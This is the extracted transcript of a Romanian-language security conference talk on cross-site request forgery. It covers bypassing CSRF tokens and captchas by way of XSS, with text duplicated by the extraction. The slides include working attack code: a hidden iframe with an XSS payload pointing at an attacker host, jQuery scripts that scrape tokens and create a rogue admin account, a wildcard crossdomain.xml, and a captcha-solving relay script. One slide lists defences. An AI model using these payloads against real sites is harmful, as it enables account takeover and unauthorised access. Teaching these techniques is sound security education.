cross site request forgery attacks

18
Cross Site Request Cross Site Request Forgery Attacks Forgery Attacks Security token bypass Security token bypass Captcha bypass Captcha bypass Presented by Vlad Horatiu [email protected]

Upload: defcamp

Post on 05-Dec-2014

2.326 views

Category:

Technology


5 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Cross Site Request Forgery Attacks

Cross Site Request Forgery Cross Site Request Forgery AttacksAttacks

Security token bypassSecurity token bypass

Captcha bypassCaptcha bypass

Presented by Vlad Horatiu

[email protected]

Page 2: Cross Site Request Forgery Attacks

Ce este CSRFCe este CSRF

Page 3: Cross Site Request Forgery Attacks

ContextContext

►Dispunem de:Dispunem de: Acces la un web site pe care victima il Acces la un web site pe care victima il

poate frecventapoate frecventa Cross Site Scripting (XSS) in domeniul in Cross Site Scripting (XSS) in domeniul in

care victima avea privilegii superioarecare victima avea privilegii superioare

Page 4: Cross Site Request Forgery Attacks

Principiul de bazaPrincipiul de baza

►Victima acceseaza site-ul in care avem Victima acceseaza site-ul in care avem accesacces

►Prin intermediul javascript, victima Prin intermediul javascript, victima trimite requesturi catre locatia in care trimite requesturi catre locatia in care are acces, prin intermediul XSS.are acces, prin intermediul XSS.

Page 5: Cross Site Request Forgery Attacks

De ce avem nevoie de XSS?De ce avem nevoie de XSS?

► Browserele moderne permit requesturi AJAX, Browserele moderne permit requesturi AJAX, intrucat si accesul la sursa HTML a unei pagini, doar intrucat si accesul la sursa HTML a unei pagini, doar atata timp cat atat request-ul, cat si target-ul sau atata timp cat atat request-ul, cat si target-ul sau sunt pe acelasi domeniu.sunt pe acelasi domeniu.

► Aceasta protectie restrictioneaza doar accesul la Aceasta protectie restrictioneaza doar accesul la sursa unei pagini de pe alt domeniu, nu are niciun sursa unei pagini de pe alt domeniu, nu are niciun impact asupra accesarii sale (ex: iframe)impact asupra accesarii sale (ex: iframe)

► De ce?De ce? SecuritateSecuritate Implicatii in web advertisingImplicatii in web advertising SecuritateSecuritate

Page 6: Cross Site Request Forgery Attacks

Initierea ataculuiInitierea atacului

► Iframe din site-ul cu acces catre cel cu Iframe din site-ul cu acces catre cel cu xssxss<html><iframe

src="http://victimsite.com/index.php?xss=<script>document.write('<iframe src=\'http://attacker\');</script>"

width="50"height = "50"style="filter: alpha(opacity=0);-moz-opacity:0;opacity: .0;">

</iframe></html>

Page 7: Cross Site Request Forgery Attacks

Login checkLogin checkfunction check(){

$.get("login.html", function(data){if(data.indexOf('blanaa') != -1){

var logged = tryToLogin();} else {

var logged = true;}

});};

function tryToLogin(){

$.get("login.html", function(data){$('#form_frame').contents().find('form').submit();return (data.indexOf('blanaa') != -1);

});}

Page 8: Cross Site Request Forgery Attacks

Token bypassToken bypass

► URL atac CSRF clasic:URL atac CSRF clasic: http://victimsite.com/admin/add_admin.php?user=1337hachttp://victimsite.com/admin/add_admin.php?user=1337hac

ker&pass=pwnedker&pass=pwned► Link valid in cazul unei protectii token:Link valid in cazul unei protectii token:

http://victimsite.com/admin/add_admin.php?user=1337hachttp://victimsite.com/admin/add_admin.php?user=1337hacker&pass=pwned&token=693a93e07e1032751a2f14d00eker&pass=pwned&token=693a93e07e1032751a2f14d00e33a56f33a56f

► Code snippets (PHP):Code snippets (PHP): Generare token:Generare token:

► mysql_query(“INSERT INTO `user_tokens` (`user_id`, mysql_query(“INSERT INTO `user_tokens` (`user_id`, `user_token`) VALUES (‘”. Intval($uid) .”’, ‘”. `user_token`) VALUES (‘”. Intval($uid) .”’, ‘”. sha1(mt_rand(1000000, 9999999).microtime(true)) .”)’);sha1(mt_rand(1000000, 9999999).microtime(true)) .”)’);

Validare token:Validare token:► $query = mysql_query(“SELECT `user_token` FROM $query = mysql_query(“SELECT `user_token` FROM `user_tokens` WHERE `id` = ‘”. Intval($uid) .”’ LIMIT 1”);`user_tokens` WHERE `id` = ‘”. Intval($uid) .”’ LIMIT 1”);

► $token = getQueryToken($query);$token = getQueryToken($query);► if($_COOKIE[‘token’] != $token)if($_COOKIE[‘token’] != $token)

Die(‘Esti un bulangiu!’);Die(‘Esti un bulangiu!’);

Page 9: Cross Site Request Forgery Attacks

Token bypassToken bypass► Javascript token crawlerJavascript token crawler

function addAdmin(){

$.get("http://victimsite.com/admin/add_user.php", function(data){var token = getBetween('&token=', '&', data);alert(token);

$.get("http://victimsite.com/admin/add_user_success.php?user=1337hacker&pass=pwned&token"+token, function(data){

});

});};

function getBetween(lft, rgt, string){

var split = '';split = string.split('&token=');split = split[1];split = split.split('&');split = split[0];return split;

}

Page 10: Cross Site Request Forgery Attacks

Token bypassToken bypass

► Javascript token crawler (POST)Javascript token crawler (POST)function addAdmin(){

$.get("http://victimsite.com/admin/add_user.php", function(data){var token = getBetween("type=\"hidden\" name=\"token\"

value=\"", "\"", data);$.post("http://victimsite.com/admin/add_user.php", { user:

"1337hacker", pass: "pwned", token: token },function(data) {})

});};

function getBetween(lft, rgt, string){

var split = '';split = string.split('&token=');split = split[1];split = split.split('&');split = split[0];return split;

}

Page 11: Cross Site Request Forgery Attacks

Token bypassToken bypass

►Metode de prevenireMetode de prevenire Protectie impotriva atacurilor XSSProtectie impotriva atacurilor XSS Cerere de captcha la operatiunile cu grad mare de Cerere de captcha la operatiunile cu grad mare de

riscrisc Cerere de parola la operatiunile cu grad mare de Cerere de parola la operatiunile cu grad mare de

riscrisc Folosirea Private BrowsingFolosirea Private Browsing Setarea sesiunilor cu o data de expirare relativ micaSetarea sesiunilor cu o data de expirare relativ mica Scrierea token-ului intr-un mod greu de parsat de Scrierea token-ului intr-un mod greu de parsat de

catre script (exemplu: prin intermediul unui catre script (exemplu: prin intermediul unui javascript obfuscat)javascript obfuscat)

Page 12: Cross Site Request Forgery Attacks

Token bypassToken bypass

►DezavantajeDezavantaje Sensibil la schimbarile structurii HTMLSensibil la schimbarile structurii HTML

Page 13: Cross Site Request Forgery Attacks

Flash Cross-domain policyFlash Cross-domain policy

►Ne permite sa facem requesturi ajax Ne permite sa facem requesturi ajax intre doua domenii diferiteintre doua domenii diferite

►Domeniul destinatie trebuie sa aiba Domeniul destinatie trebuie sa aiba domeniul sursa intr-un “whitelist”: domeniul sursa intr-un “whitelist”: crossdomain.xmlcrossdomain.xml

►Exemplu de crossdomain.xml: Exemplu de crossdomain.xml: <cross-domain-policy><allow-access-from domain="*"/></cross-domain-policy>

Page 14: Cross Site Request Forgery Attacks

Captcha bypassCaptcha bypass

►ContextContext Userul are campurile username si password Userul are campurile username si password

completate, datorita autocompletecompletate, datorita autocomplete Formularul de logare cere captcha verificationFormularul de logare cere captcha verification

►Principiul de bazaPrincipiul de baza Preluarea image path-ului prin javascriptPreluarea image path-ului prin javascript Trimiterea imaginii catre un script de captcha Trimiterea imaginii catre un script de captcha

breaking (prin intermediul crossdomain.xml)breaking (prin intermediul crossdomain.xml) Trimiterea informatiilor de logareTrimiterea informatiilor de logare

Page 15: Cross Site Request Forgery Attacks

Captcha bypassCaptcha bypass

►Captcha breaking script snippet:Captcha breaking script snippet:$rand = sha1(mt_rand(1000000, 9999999).microtime(true));if(isset($_GET['path']))  file_put_contents($rand.'.jpg', file_get_contents($_GET['path']));if ($captcha = $client->upload($rand.'.jpg')) {    echo "CAPTCHA {$captcha['captcha']} uploaded\n";    sleep(DeathByCaptcha_Client::DEFAULT_TIMEOUT);    if ($text = $client->get_text($captcha['captcha'])) {        echo $text;        } else {        $client->remove($captcha['captcha']);    echo '0';    }}

Page 16: Cross Site Request Forgery Attacks

Captcha bypassCaptcha bypass

►DezavantajeDezavantaje Timpul ridicat de rezolvare a captcha-uluiTimpul ridicat de rezolvare a captcha-ului

►Pentru ca metoda sa mearga, userul ar trebui Pentru ca metoda sa mearga, userul ar trebui sa ramana pe pagina cel putin un minutsa ramana pe pagina cel putin un minut

Costul ridicat al rezolvarilor captchaCostul ridicat al rezolvarilor captcha Schimbarile in structura HTMLSchimbarile in structura HTML Necesitatea existentei Flash Player in Necesitatea existentei Flash Player in

sistemul victimeisistemul victimei

Page 17: Cross Site Request Forgery Attacks

Exemple concreteExemple concrete

►Adaugare utilizatori intr-o platforma Adaugare utilizatori intr-o platforma WordpressWordpress

►Adaugare user MySQLAdaugare user MySQL

Page 18: Cross Site Request Forgery Attacks

IntrebariIntrebari